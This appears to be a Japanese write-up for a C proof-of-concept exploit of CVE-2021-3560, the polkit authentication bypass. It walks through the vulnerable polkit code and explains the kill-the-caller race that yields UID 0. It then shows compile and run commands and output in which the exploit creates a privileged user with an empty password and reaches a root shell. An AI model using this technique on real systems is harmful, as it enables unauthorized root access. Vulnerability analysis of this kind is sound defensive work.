
CVE-2021-3560のための信頼性の高いCベースのエクスプロイトです。
昨日、Kevin Backhouse氏によるこのブログ記事に出くわしました(この脆弱性を発見した方です)。そのブログ記事で提供されていたbashコマンドを試してみたところ、驚いたことに私のKali Linuxボックスで動作しました!
CVE-2021-3560はpolkitの認証バイパスであり、非特権ユーザーがDBusを使用して特権メソッドを呼び出すことを可能にします。PoCはこのバグを悪用して、accountsserviceが提供する2つの特権メソッド(CreateUserとSetPassword)を呼び出し、特権ユーザーを作成してパスワードを設定することを可能にします。
polkitは、呼び出し元がそのようなメソッドを呼び出す権限があるかどうかをチェックします。その際、まず呼び出し元のユーザーIDをチェックし、ゼロの場合は呼び出し元がrootであるとみなされ、認証を求めずにアクションが許可されます。それ以外の場合は、ユーザーのパスワードが要求されます。
polkit_system_bus_name_get_creds_sync()関数は、呼び出し元のUIDとPIDを取得するために2つのメソッドGetConnectionUnixUserとGetConnectionUnixProcessIDを呼び出します。これらの呼び出しの結果は、コールバック関数on_retrieved_unix_uid_pid()によってAsyncGetBusNameCredsData型のdata構造体に書き込まれます(この構造体は0に初期化されます)。そしてpolkit_system_bus_name_get_creds_sync()は、コールバック関数がエラーまたはUIDとPIDを設定するのを待ってブロックします。
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // 0に初期化
GDBusConnection *connection = NULL;
GMainContext *tmp_context = NULL;
connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
if (connection == NULL)
goto out;
data.error = error;
tmp_context = g_main_context_new ();
g_main_context_push_thread_default (tmp_context);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // コールバック関数
&data); // dataはメソッドからの応答とともにコールバック関数に渡される
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // コールバック関数
&data); // dataはメソッドからの応答とともにコールバック関数に渡される
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // on_retrieved_unix_uid_pid()がまだ呼び出されていない間はブロック
g_main_context_iteration (tmp_context, TRUE);
コールバック関数on_retrieved_unix_uid_pid()は、各メソッド呼び出し後に呼び出され、応答(UIDとPID)を取得するか、エラーを設定します。この関数はg_dbus_connection_call_finish()を呼び出して応答を取得します。エラーが発生した場合はdata.caught_errorをTRUEに設定して戻ります(data.uidとdata.pidは依然として0のままです)。それ以外の場合は、取得した値(UIDまたはPID)をdata.uidまたはdata.pidに割り当てて(取得した値に応じて)戻ります。
static void
on_retrieved_unix_uid_pid (GObject *src, // connection
GAsyncResult *res, // Async result object
gpointer user_data) // 前の関数から渡されたdataパラメータ
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error); // 終了して応答を取得
if (!v) // エラー?
{
data->caught_error = TRUE;
}
else
{
guint32 value;
g_variant_get (v, "(u)", &value); // 応答をアンパックし、UINT32 (u)を取得
g_variant_unref (v);
if (!data->retrieved_uid) // GetConnectionUnixUserメソッド
{
data->retrieved_uid = TRUE;
data->uid = value;
}
else
{
g_assert (!data->retrieved_pid); // GetConnectionUnixProcessIDメソッド
data->retrieved_pid = TRUE;
data->pid = value;
}
}
}
GetConnectionUnixUserおよびGetConnectionUnixProcessIDメソッドは、呼び出し元プロセスがバスに接続されたまま存在する場合はUIDとPIDを返し、エラーが発生した場合(例:呼び出し元プロセスが強制終了された)はエラーを返します。
data.uidとdata.pidが設定されるか、data.caught_errorが設定されると、関数polkit_system_bus_name_get_creds_sync()は続行します。ここに脆弱性が存在します。polkit_system_bus_name_get_creds_sync()は、data.caught_errorが設定されていてもエラーを返さず、代わりにdata.uid内の値をout_uidに設定し、TRUEを返します(data.caught_errorが設定されていても)。out_pidは、polkit_system_bus_name_get_user_sync()によって呼び出される際にpolkit_system_bus_name_get_creds_sync()に渡されるguint32変数へのポインタです。
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid, // ポインタ
guint32 *out_pid, // NULL
GCancellable *cancellable,
GError **error)
{
[snip]
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // コールバック関数が応答を処理するのを待つ
g_main_context_iteration (tmp_context, TRUE);
if (out_uid) // TRUE
*out_uid = data.uid; // エラーがあっても設定する [!]
if (out_pid) // FALSE
*out_pid = data.pid; // エラーがあっても設定する [!]
ret = TRUE; // エラーがあってもTRUEを返す [!]
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
悪用方法:
プロセスAがDBusを使用して特権メソッドを呼び出すと、polkitは呼び出し元のUIDをチェックします。プロセスAがメッセージを送信した直後に終了すると、メソッドGetConnectionUnixUserとGetConnectionUnixProcessIDは、呼び出し元プロセスが存在しないためエラーを返します。コールバック関数on_retrieved_unix_uid_pid()はdata.caught_errorをTRUEに設定し、data.uidとdata.pidは変更されません(つまり、データ構造体が0に初期化されているため、両方とも0のままです)。関数polkit_system_bus_name_get_creds_sync()は実行を続行し、out_uidをdata.uid(0)に設定し、TRUEを返します。
いくつかの関数がこの偽のUID(0)を返し続け、最終的にpolkit_backend_session_monitor_get_user_for_subject()がuser_of_subject(偽のUIDから構築)をcheck_authorization_sync()関数に返します。この関数は、identity_is_root_user(user_of_subject)を呼び出してUIDがrootかどうかをチェックし、TRUEを返してプロセスAが認可されます。
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
[snip]
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL) // false
goto out;
/* 特別なケース: uid 0、rootは _常に_ すべての操作を認可される */
if (identity_is_root_user (user_of_subject)) // true
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL); // 呼び出し元を認可
goto out;
}
[snip]
私はdbus C APIを使用してPoCを書くことにしました。メッセージがターゲットサービスに送信されるのを待つ間、sleep()を使用する代わりに、DBus関数はタイムアウトパラメータを提供します。このパラメータを(悪用して)利用することで、メッセージを送信した直後に関数を強制的に戻らせ、プロセスを強制終了することができます。これにより、polkitの脆弱性を悪用し、認証をバイパスできます。技術的な詳細についてはこのブログ記事を参照してください。
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host: ./exploit
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] "pwned-1624301069"ユーザーを作成中 ...
[!] ユーザーが作成されました!
[*] ユーザー: pwned-1624301069, uid: 1007
[*] "pwned-1624301069"ユーザーに空のパスワードを設定中 ..
[*] "pwned-1624301069"ユーザーに空のパスワードが設定されました!
[!] "pwned-1624301069"ユーザーとして "sudo su root" を実行してrootを取得
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)